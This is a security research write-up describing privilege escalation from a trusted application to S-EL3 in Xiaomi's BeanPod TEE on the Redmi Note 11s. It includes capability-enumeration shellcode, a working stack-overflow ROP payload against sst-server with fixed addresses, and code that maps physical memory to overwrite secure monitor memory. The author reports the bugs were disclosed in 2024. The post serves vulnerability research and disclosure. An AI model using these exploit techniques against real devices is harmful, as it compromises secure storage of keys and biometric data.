Author: Philipp Mao
Date: April 2025
While working on the Spill The TeA and GlobalConfusion papers (both studies on the prevalence of common TA vulnerabilities) we (me and Marcel(@0ddc0de)) accumulated a number of vulnerable TAs. For one of these TAs, specifically the so-called keyinstall TA on the Xiaomi Note 11s, Marcel and me wrote a stable exploit that achieved code execution as the TA. After a delay of about one year, I decided to take his exploit and see if I could escalate privileges from the TA to compromise the TEE. I chose that TA not only because of the availability of the exploit but also because the used TEE (called BeanPod) had not been previously compromised.
This blog is a writeup of the research I did to escalate privileges and compromise the BeanPod TEE, which was done in summer 2024. With the bug I found I was able to escalate privileges from S-EL0 (code execution in a Trusted Application) to S-EL3 (arbitrary physical memory read/write). I will mainly be talking about reverse engineering and writing shellcode for interacting with arm32 IPC servers running on top of the fiasco(L4Re) microkernel.
Modern Android devices use trusted execution environments (TEEs) to store sensitive user data (biometrics, drm keys etc) and restrict access to peripherals. This technology has so far been based on ARM Trustzone, which allows partitioning execution contexts into normal and secure world. Android apps and the Android framework run in the normal world at EL0 (userspace), while the linux kernel runs at N-EL1 (normal world exception level 1).
The components running in the secure world are trusted applications (TAs) at S-EL0. Each TA implements a specific use case from the TEE (there is for example the keymaster TA responsible for managing encryption keys) and exposes that functionality to the normal world. At S-EL1 runs the TEE OS, which is responsible for running and seperating the different TAs. Finally at S-EL3 runs the secure monitor, the component responsible for orchestrating interaction between the normal and secure world. The code running inside the TEE is proprietary and comes either from the SOC or a TEE vendor. Below is a table with various SOCs and TEE implementations. This blog will be about Xiaomi with the BeanPod TEE.
| Vendor | SOC | TEE |
|---|---|---|
| Xiaomi | MediaTek | BeanPod (before ~2024) |
| Xiaomi | MediaTek | MITEE (after ~2024) |
| Samsung | Exynos | TEEGRIS |
| Samsung/Xiaomi | QualComm | QSEE |
The main premise of the TEE is that only signed aka "trusted" code is run in there. Rooting a phone gives S-EL1 code execution but that does not give access to the TEE.
The first step to compromising the TEE is to get code execution in a TA over the API exposed to the normal world, usually by exploiting a bug in the TA, which is exactly how we achieved code execution at S-EL0 by exploiting the vulnerable keyinstall TA. I will not discuss the bug/exploitation process of the vulnerable TA for the sake of brevity. The bug and exploitation process is presented in this talk from BlackAlps 2024 by Marcel and me: GlobalConfusion: TrustZone Trusted Application 0-Days by Design.
With the above we're all caught up and running shellcode at S-EL0 in the context of the compromised TA. How to escalate privileges from there? We will need to understand how the TA communicates with the TEE OS or (spoiler) other S-EL0 components. Reverse engineering the TA code only brings us so far, since the low level code actually making the system calls is imported from shared libraries. We will need to get our hands on these libraries (+ all other TEE related files).
Fortunately the BeanPod TEE ships files unencrypted in a tee.img file (Which you can find by downloading the fastboot firmware for any Xiaomi device using BeanPod and unpacking the tar). The tee.img contains various bootloaders plus a gzipped soter.img file. This soter.img file is the file actually loaded by the secure monitor to load the TEE. I wrote a small script to help unpack soter.img (dump_soter.py). The resulting files:
ese_server libirq.so libtomcrypt.so libuTlog.so
'fiasco -serial_esc' libkey.so lib_tvm_sst.so libuTpf_spi.so
l4re libkproxy.so lib_tvm_time.so libuTrpmb.so
lib4log.so libl4sys-direct.so libuc_c.so libutsem.so
lib4re-c.so libl4sys.so lib_utactive.so libuTsys_base.so
lib4re-c-util.so libl4util.so libuTbta.so libuTsys_device.so
lib4re.so libl4z.so libuTbta_util.so libuTsys_io.so
lib4re-util.so libld-l4.so libuTcapmgr.so libuTsys_thread.so
libc_be_l4refile.so libloader.so libuTcrypto.so libuTtime.so
libc_be_l4re.so libmpa.so libuTdrv_call.so libvfs.so
libc_be_sig.so libmsg.so libuTdrv_framework.so lib_virtualization.so
libc_be_socket_noop.so libneu_util.so libuTfp_alipay.so moe
libcbor.so liboptee.so libuTfp_ese.so ned
lib_common.so libpthread.so libuTfp_fido.so ree_agent
libc_support_misc.so lib_ree_mem.so libuTfp_mipay.so sigma0
libdl.so lib_seapi_inner.so 'libuTfp.so ' sst-server
libdrivers.so libseapi.so libuTfp_wechat.so uTbtaLoader
lib_ese_caps_alloc.so lib_sec_manager_verify.so libuTfs.so uTcapmgr
libese_spi_p73.so libslab.so libuTgp_ex.so uTMemory
libese_spi_st.so lib_sst_partition_cfg.so libuTgp_nomain.so uTSeckey
lib_fido_tal.so libsupc++.so libutinfo.so uTSecManager
libfp_server.so libteec++.so libuTkeymaster.so uTSemaphore
Turns out BeanPod is using the fiasco(L4Re) microkernel (moe, ned, sigma0 and of course fiasco are all standard binaries used by L4Re). Being able to interact with a microkernel deployed in production is pretty cool. Unfortunately this also means the kernel itself is not the most promising attack surface. Instead we should look at BeanPod specific privileged processes reachable over IPC by the keyinstall TA.
Fiasco uses the concept of capabilities, which govern which IPC endpoints a given process can communicate with. In a first step we should enumerate our compromised TA's capabilities and map this to other processes running in the TEE. At this point I spent some time reverse engineering the various shared libraries used by the keyinstall TA to understand how it communicates with other processes over IPC.
After some time I came across the following code, analyzing a function called by the TA imported from libuTdrv_call.so
int mdrv_open(undefined4 param_1,undefined4 param_2)
{
...
iVar4 = _ta_cfg;
puVar5 = *(uint **)(l4re_global_env + 0x2c);
if ((puVar5 != (uint *)0x0) && (puVar5[1] != 0xffffffff)) {
while( true ) {
pcVar6 = "ta_manager";
puVar7 = puVar5;
do {
puVar1 = puVar7 + 2;
puVar7 = (uint *)((int)puVar7 + 1);
if (*(char *)puVar1 == '\0') goto loop_end;
pcVar6 = pcVar6 + 1;
if ((*pcVar6 == '\0') || (*(char *)puVar1 != *pcVar6)) goto loop_end;
} while (pcVar6 != "r");
if (*(char *)((int)puVar5 + 0x12) == '\0') break;
loop_end:
if ((puVar5 + 6 == (uint *)0x0) ||
(puVar7 = puVar5 + 7, puVar5 = puVar5 + 6, *puVar7 == 0xffffffff)) goto fail;
}
uVar8 = *puVar5;
if ((uVar8 & 0x800) == 0) {
...
}
fail:
log_msg(2,5,"[%s:%d/%s] %sFailed to get cap \'%s\'\n","drv_call.cc",0x17,"query_uuid",
&DAT_00011e78,"ta_manager");
return -1;
}
It looks like the code is checking if the current process has the "ta_manager" capability. It looks like standard L4Re functionality and indeed this seems to be the l4re_env_get_cap function (L4Re source). Usually this function would be placed before the actual IPC call to retrieve the handle associated with the capability. It would be very convenient if we could iterate over our TA's l4re_global_env that way and enumerate the capabilities.
Before we go further I'll take a quick detour to talk about writing shellcode for the TA. I wanted to reuse the existing L4Re headers. To this end I setup the compilation pipeline to allow writing the shellcode in C and compiled to raw assembly, with seperate header files including various utility functions.
TARGET=shellcode
SRCS=shellcode.c
all: $(TARGET).bin
shellcode.bin: mdrv.h stdlib.h l4utils.h shellcode.c
arm-none-eabi-gcc -march=armv8-a -Os -Wall -static -nostdlib -fno-asynchronous-unwind-tables -fpic -c -o shellcode.o shellcode.c
arm-none-eabi-gcc -static -nostdlib -fno-asynchronous-unwind-tables -fpic shellcode.o -Wl,-Tscript.T,--build-id=none -o shellcode.elf
arm-none-eabi-objcopy -O binary $(TARGET).elf $(TARGET).bin
l4utils.h implements various l4 helper functions, including the function to extract the capabilities of a TA. l4utils.h itself includes the original L4Re headers, which I copied over from a checkout of the L4Re source code. The enum_caps function in l4utils.h enumerates the current processes capabilities.
void enum_caps(l4re_env_t* e){
l4re_env_cap_entry_t const *c = e->caps;
logprintf2("e->caps: %x\n", c);
for (; c && c->flags != ~0UL; ++c){
logprintf2("cap: %s\n", c->name);
}
}
A pointer to l4re_global_env global is stored in the data section of libuTdrv_call.so (at a constant offset from the library base). The only requirement is to find the library's loaded address. Fortunately, BeanPod does not use ASLR and thus the library is always mapped at a fixed offset. However, initially the address of libuTdrv_call.so is not known. Fortunately the TA is always mapped at a known address and the GOT of the TA points to the library. Following pointers originating from the TA in this way we can obtain the fixed addresses for almost all relevant libraries. The following code in the shellcode enumerates the current TA's capabilities:
#define liuTrdv_l4re_global_env_off 0xa200
#define mdrv_open_off 0xb88
...
int* mdrv_open_got = (int*)0x1d1e0; //fixed
logprintf2("mdrv_open => handle: %x\n", driver_handle);
int libuTdrv_base = *mdrv_open_got - mdrv_open_off;
int l4re_global_env = libuTdrv_base + liuTrdv_l4re_global_env_off;
logprintf2("l4re_global_env**: 0x%x\n", l4re_global_env);
l4re_global_env = *(int*)l4re_global_env;
logprintf2("l4re_global_env*: 0x%x\n", l4re_global_env);
l4re_global_env = *(int*)l4re_global_env;
logprintf1("==== checking caps ==== \n");
enum_caps(l4re_global_env);
To exfiltrate data we use the existing TEE logging infrastructure (TEE_LogPrintf), which we can read from the normal world in the kernel log (dmesg). TEE_LogPrintf is wrapped by logprintf2 in our stdlib.h. While this is very convenient, in the newest update back in 2024 BeanPod introduced log encryption. Instead of pivoting to simply using shared memory to exfiltrate data, I instead wasted a day to at least partially disable the log encryption... Basically in the various logging functions a check on a new global (__beanpod_disable_log_enc) was introduced. By default this global is NULL and the log sent to the normal world is encrypted. In the shellcode we can simply write to this global to disable the log encryption (at least for the TA process). Running the shellcode we get the following output showing the various capabilities of our TA:
[ 69.024705] [TZ_LOG] ta_keyin| mdrv open got: 0x2bb88\x0d
[ 69.024706] [TZ_LOG] ta_keyin| libuTdrv_base: 0x2b000\x0d
[ 69.024714] [TZ_LOG] ta_keyin| l4re_global_env**: 0x35200\x0d
[ 69.024716] [TZ_LOG] ta_keyin| l4re_global_env*: 0xb1007df0\x0d
[ 69.024743] [TZ_LOG] ta_keyin| ==== checking caps ==== \x0d
[ 69.024744] [TZ_LOG] ta_keyin| e->caps: b1007e20\x0d
[ 69.024746] [TZ_LOG] ta_keyin| cap: sst_client\x0d
[ 69.024748] [TZ_LOG] ta_keyin| cap: TZ_crypto\x0d
[ 69.024749] [TZ_LOG] ta_keyin| cap: TZ_sem\x0d
[ 69.024751] [TZ_LOG] ta_keyin| cap: memory_client_ns\x0d
[ 69.024753] [TZ_LOG] ta_keyin| cap: memory_client\x0d
[ 69.024754] [TZ_LOG] ta_keyin| cap: TZ_vfs\x0d
[ 69.024756] [TZ_LOG] ta_keyin| cap: ta_ns\x0d
[ 69.024757] [TZ_LOG] ta_keyin| cap: ta_manager\x0d
[ 69.024759] [TZ_LOG] ta_keyin| cap: TZ_devinf\x0d
[ 69.024761] [TZ_LOG] ta_keyin| cap: TZ_reetime\x0d
[ 69.024762] [TZ_LOG] ta_keyin| cap: rom\x0d
[ 69.024764] [TZ_LOG] ta_keyin| cap: ta_service\x0d
[ 69.024765] [TZ_LOG] ta_keyin| cap: tee_server\x0d
The capabilities themselves do not directly tell us which process the TA can communicate with. In L4Re a lua script is used by ned (the init process) to bootstrap the system, including starting IPC servers and assigning capabilities to them. This lua script is stored inline in the binary for BeanPod. You can have a look at the complete file here. The most important part for us is how the setup script maps capabilities to processes. For example the TZ_crypto capability maps to the uTSeckey process in the following way:
local uTSeckey_crypto = l:new_channel();
...
--------------------------------------------------------------------------------
-- utseckey server
--------------------------------------------------------------------------------
l:start({
caps= {
TZ_key = uTSeckey:svr(),
TZ_vfs = uTgate_vfs,
TZ_sem = uTsem,
memory_client_ns = uTMemory_ns,
memory_client = uTMemory,
---- drm
TZ_devinf = uTSeckey_devinf:svr(),
TZ_crypto = uTSeckey_crypto:svr(),
},
scheduler = L4.Env.user_factory:create(L4.Proto.Scheduler, 0xa0, 0x90),
log = {"uTSeckey", "B"},
}, "rom/uTSeckey");
The first line sets up a new IPC channel. Then the l:start function starts the uTSeckey process and assigns it as the server for the uTSeckey_crpyto IPC channel. Later on in the file we can see that the BTA (BeanPod TA) Loader process is given access to the uTSeckey_crypto (aliased to TZ_crypto) IPC channel. The BTA Loader process is responsible for loading TAs and TAs inherit their capabilities from this process.
------------------------------------------------------------------------
-- BTA loader
------------------------------------------------------------------------
wait_4_reeagent:wait_4_reeagent();
print("begin to start bta loader.");
l:start(
caps = {
...
TZ_capmgr = uTcapmgr,
TZ_sem = uTsem,
TZ_key = uTSeckey,
TZ_devinf = uTSeckey_devinf,
TZ_crypto = uTSeckey_crypto, //TZ_crypto
icu = L4.Env.icu,
irq_state = uTgate_irq,
sst_dyn_creat = uTsst_create_partition,
VSD = verify_namespace,
sec_manager = sec_manager,
tee_server_s = utgate_to_bta_loader:svr(),
tee_server = vnet_to_bta_loader:svr(),
...
},
scheduler = L4.Env.user_factory:create(L4.Proto.Scheduler, 0xa0, 0x90),
log = { "uTbtaLdr" ,"y"},
l4re_dbg = L4.Dbg.Warn,
}, "rom/uTbtaLoader");
At this point we have finally mapped the attack surface from the TA to other privileged IPC server processes. The final list of IPC endpoints our TA can communicate with is the following:
| Process | Capability |
|---|---|
| sst-server | sst_client |
| uTSeckey | TZ_crypto,TZ_devinf |
| uTSemaphore | TZ_sem |
| uTMemory | memory_client,memory_client_ns |
| ree_agent | TZ_vfs,TZ_reetime |
| gptee_server | tee_server |
To find bugs in the IPC handling code we need to find the function handling incoming IPC requests. Looking at the L4Re example IPC server example, we can see that the IPC server registers an L4::Server object with the capability name overwriting the dispatch function to the application-specific function. By looking for the capability name in the IPC server binary and then following it's usage, it's possible to identify the dispatch function for the relevant capability.
The server's dispatch function takes three arguments. The this pointer in r0, pointing to the server object. The rights bits in r1 (not sure what this is used for) and the Iostream in r2. The Iostream points to a buffer that contains the data sent by the client. The client populates this buffer by first retrieving its utcb and writing to the message registers. In BeanPod the norm seems to be to write the command id (identifying which function to call in the server) to MR0 and then writing the remaining arguments to MR1, MR2 etc.. The following decompilation code shows an example of a client IPC call. (This function is called in mdrv_open, calling command id 2 in the ubTaManager, ta_manager IPC channel).
uVar7 = l4_utcb_wrap();
puVar2 = (undefined4 *)uVar7;
*puVar2 = 2; //command id
puVar2[1] = driver_id; //function argument 1
uVar6 = (*(code *)&SUB_fffffff4)(2,(int)((ulonglong)uVar7 >> 0x20),uVar6 & 0xfffff800 | 3,0); //IPC call
l4_utcb_wrap() retrieves the UTCB and the call to 0xfffffff4 traps to the kernel and initiates the IPC call. MR0 is set to 2 and MR1 is set to the first argument of the IPC function. In the dispatch function the received IPC function is parsed. Unfortunately the decompilation of the inline handling of the Iostream object is not very readable but should be understandable if you squint a little..
undefined4 bta_manger::dispatch(undefined4 param_1,undefined4 param_2,L4::Ipc::Iostream *iostream)
_current_msg = iostream->_current_msg;
uVar10 = iostream->_pos + 3 & 0xfffffffc;
iostream->_pos = uVar10;
..
opcode = *(undefined4 *)(_current_msg + uVar10);
iostream->_pos = uVar7;
uVar12 = uVar7;
switch(opcode) {
...
case 2: {
/* this is presumably the uuid resolving function */
...
iostream->_pos = uVar8 + 4;
if (uVar8 + 8 < 0xfd) {
mdrv_uuid? = *(int *)(_current_msg + uVar8 + 4);
iostream->_pos = uVar8 + 8;
}
else {
mdrv_uuid? = 0;
}
Now we're finally ready to look for vulnerabilities in the IPC servers...
The sst-server is not exactly the best example of the reverse engineering process outlined above because there is actually no reference to the "sst_client" string. However there seems to be a default dispatch function and by looking at the client libraries we can correlate the command ids handled in the switch statement to the sst_client capability. In command 0x41 the do_vfs_work function is called which copies data to the stack using the length provided in the MR7. The pointer at MR9 (puVar4 + 8) points to the filepath, i.e., user controlled data.
puVar4 = (undefined4 *)utcb;
uVar5 = puVar3[2];
switch(*puVar4) {
case 0x41: {
/* sst_l2_fopen */
memset(acStack_218,0,0x101);
memset(auStack_114,0,0x101);
/* stack overflow */
memcpy(auStack_114,puVar4 + 8,puVar4[6]); //lenght is MR7, data is MR9
snprintf(acStack_218,0x101,"/data/vendor/thh/%s/%s",uVar5,auStack_114);
..
All this effort to end up with a trivial stack buffer overflow :'D... The client code which calls this function in libuTfs.so also does not check the size of the filepath so the vulnerability can be triggered by simply calling the sst_l2_fopen function in the shared library with a file path of size > 0x101. If we however want to overflow with null bytes we need to make the IPC call ourselves.The following shellcode triggers the stack buffer overflow and calls the log function in the sst-server to print the "SST!!!" string to the kernel log. (There no stack canaries).
logprintf1("==== sst-shit ==== \n");
int ov_size = 0x200;
char* file_path_ = do_malloc(ov_size);
unsigned char cycl[] = {
0x61, 0x61, 0x61, 0x61, 0x62, ... };
file_path_ = cycl;
file_path_[ov_size-1] = 0;
// stack pointer: 0x80007d00
// sst-server base: 0x8000
// 0x0000f630 : mov r2, #1 ; blx r6
// offset of r6 268
// 0x0000f628 : mov r0, r5 ; mov r1, #0 ; mov r2, #1 ; blx r6
// offset of r5 264
// puts: 0x99cc
unsigned int sst_server_data = 0xf628;
//int* payload = (int*)*(int*)sst_server_data;
unsigned int payload = sst_server_data;
//payload = payload + 0x20;
logprintf2("payload addr: 0x%x\n", payload);
unsigned int* pc_wow = (unsigned int*)&file_path_[272];
pc_wow[0] = payload;
unsigned int* r6 = (unsigned int*)&file_path_[268];
r6[0] = 0x99cc;
unsigned int* r5 = (unsigned int*)&file_path_[264];
r5[0] = 0x80007b80;
file_path_[101] = 'S';
file_path_[102] = 'S';
file_path_[103] = 'T';
file_path_[104] = '!';
file_path_[105] = '!';
file_path_[106] = '!';
file_path_[107] = '!';
file_path_[108] = '!';
file_path_[109] = '\x00';
char* mode = "r\x00";
int lib_tvm_sst_base = 0x297000;
int log_msg_got = lib_tvm_sst_base + 0x104e8;
// trigger overflow
do_fopen_manual(lib_tvm_sst_base, file_path_, 280);
The do_fopen_manual function actually makes the IPC call to the sst-server, adjusting the size parameter from the strlen value to 280. We leverage the lib_tvm_sst_base library in order to avoid fully building the IPC call (which also involves setting up shared memory between the server), instead using the intermediate functions in this library to setup the shared memory.
In the demo I'm showing the screen of my laptop, sending the exploit to the phone via ADB, first exploiting the TA and then triggering the stack buffer overflow in the sst-server. The huge mess of base64 at the end (or start when I'm scrolling up) is the crash dump from the sst-server
The sst-server has a number of capabilities our TA does not have, by exploiting this stack overflow we could escalate capabilities. However finalizing the exploit for the TA was already annoying enough I did not feel like exploiting the overflow to achieve shellcode execution in the sst-server. Instead I looked for another vulnerability.
One of the IPC servers that is very interesting is the uTMemory server accessible by the TA via the memory_client(ns) capability. The server has access to the sigma0 IPC channel. According to the documentation, the sigma0 server has access to physical memory and serves as the memory provider. The fact that there is an IPC server that has this capability and is reachable from our TA should set off all alarm bells. If we could exploit the uTMemory server we'd get access to all physical memory.
--------------------------------------------------------------------------------
-- utmemory server
--------------------------------------------------------------------------------
l:start({
caps= {
TZ_memory = uTMemory:svr(),
TZ_memory_ns= uTMemory_ns:svr(),
sigma0 = L4.cast(L4.Proto.Factory, L4.Env.sigma0):create(L4.Proto.Sigma0),
test_namespace = test_namespace,
},
scheduler = L4.Env.user_factory:create(L4.Proto.Scheduler, 0xa0, 0x90),
log = {"uTMemory", "Y"},
}, "rom/uTMemory");
The client code communicating with the uTMemory server can be found in lib_ree_mem.so. In particular the function ut_pf_mm_map_s wraps the IPC call to the uTMemory server. The function itself is called in libvfs.so in the __map_vfs_share_memory function. This function appearantly maps shared (physical) memory as an alternative communication channel to an IPC server. The ut_pf_mm_map_s internally calls a function with the argument "memory_client" as the first argument. Inspecting this function we find the familiar IPC code, sending an IPC request built from the arguments to the ut_pf_mm_map_s function to the uTMemory IPC server. Instead of reverse engineering the server I decided to figure out the function signature by reverse engineering the client code in ut_pf_mm_map_s and __map_vfs_share_memory and simply try calling the function in the shellcode. The final signature is the following:
int ut_pf_mm_map_s(int pa_high, int pa_low, int size, int perm, int* va)
The function allows specifying a physical address in the first two arguments (the TEE is running with 32 bit but the processor itself is 64bit), along with the size and a pointer to the virtual address that can be used to access the mapped memory. I tested if the function would map physical memory by mapping physical address 0x0, which is where the mediatek bootrom should be mapped. And voila it actually worked.
At this point it is game over, by mapping physical memory we can overwrite code of the secure monitor and achieve code execution at S-EL3. In the end I did not bother hijacking code execution in the monitor and instead overwrote a logging string in the secure monitor, which is printed whenever the lock button is pressed:
int lib_ree_mem_base = 0x225000;
ut_pf_mm_map = lib_ree_mem_base + 0x1164;
int ut_pf_mm_map_s = lib_ree_mem_base + 0x12e4;
logprintf1("==== trying ut_pf_mm_map ==== \n");
logprintf2("ut_pf_mm_map @ 0x%x\n", ut_pf_mm_map);
int atf_va;
int map_r;
// ATF Address
int pa_high = 0x0;
int pa_low = 0x48c03000;
map_r = do_ut_pf_mm_map(ut_pf_mm_map_s, pa_high, pa_low,
0x30000, 0x5, &atf_va);
logprintf2("map result: 0x%x\n", map_r);
logprintf2("va: 0x%x\n", atf_va);
if(map_r == 0){
dump_memory_int(atf_va, 0x20);
dump_memory(atf_va, 0x20);
dump_memory_int(atf_va+0xe0, 0x20);
int m4u_str = memsearch(atf_va, 0x30000, "m4u_secure_handler_TFA", 22);
logprintf2("found addrof m4u str: %x\n", m4u_str);
if(m4u_str != 0){
dump_memory(m4u_str, 0x20);
char* lul = (char*)m4u_str;
char* el3_str = "EL3!! ^-^ \n\x00";
memcpy(lul, el3_str, 22);
} else {
logprintf1("failed to find m4u str!\n");
}
}
In the demo I run the exploit and the push the power button a bunch of times on the phone to trigger the print.
This concludes this excursion into the BeanPod TEE. I hope you enjoyed this writeup. Big shoutout again to Marcel for introducing me to the wonderful world of Android TEEs without whom this research would not have been possible. The vulnerabilities in this blog have been disclosed in summer 2024. On newer Xiaomi devices BeanPod has been replaced by MITEE a Fuchsia! based TEE. It is why I made this blog post (besides lazyness) only in 2025 as the BeanPod TEE will be mostly obsolete at this point. The exploit was run on the Xiaomi Note 11s with firmware version 1.0.4.0.TGLEUXM.